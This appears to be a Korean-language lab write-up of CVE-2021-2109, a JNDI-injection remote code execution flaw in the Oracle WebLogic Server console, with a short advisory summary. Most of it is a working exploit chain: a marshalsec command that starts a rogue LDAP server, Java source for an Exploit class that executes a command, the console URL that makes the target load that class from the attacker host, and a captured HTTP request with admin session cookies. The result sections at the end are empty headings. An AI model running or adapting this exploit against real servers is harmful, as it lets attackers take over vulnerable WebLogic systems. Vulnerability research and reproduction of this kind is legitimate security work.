
CVE-2021-2109 && Weblogic Server의 JNDI를 통한 RCE
Oracle Fusion Middleware의 Oracle WebLogic Server 제품(구성 요소: Console)에서 취약점이 발견되었습니다. 영향을 받는 지원 버전은 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 및 14.1.1.0.0입니다. 이 취약점은 쉽게 악용될 수 있으며, 네트워크 접근이 가능하고 높은 권한을 가진 공격자가 HTTP를 통해 Oracle WebLogic Server를 손상시킬 수 있습니다. 이 취약점의 성공적인 공격은 Oracle WebLogic Server를 장악할 수 있습니다. CVSS 3.1 기본 점수 7.2 (기밀성, 무결성 및 가용성 영향). CVSS 벡터: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
로그인 인증 필요



java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.174.1:4444/#Exploit 1088

javac Exploit.java
import java.lang.Runtime;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}


http://192.168.174.144:7001/console/console.portal?_nfpb=true&_pageLabel=EJBTestHomePage&EJBTestHomePagehandle=com.bea.console.handles.JndiContextHandle("ldap://192.168.174.1:1088/Exploit;AdminServer")&returnTo=al1ex


LDAP 및 HTTPServer 로그:

GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.174;1:1088/Exploit;AdminServer%22) HTTP/1.1
Host: 192.168.174.144:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=GZUoX_MV8_7OMiv-hhhzix8-zbfknZI4Prm_41N4vUPBEt1vP8mf!2017534379; Hm_lvt_eaa57ca47dacb4ad4f5a257001a3457c=1605675257,1605704689,1605871061,1606205262; JSESSIONID=6qYoDKwKLN2nLGhJiJ1CtcaxZ8ENfjTU7B2n0GmG5HTVDrJxPkg3!655738588
Connection: close
burpsuite 결과:

weblogic 서버 결과:

LDAP 및 HTTPServer 로그(첫 번째 로그 항목은 poc1에 속함):
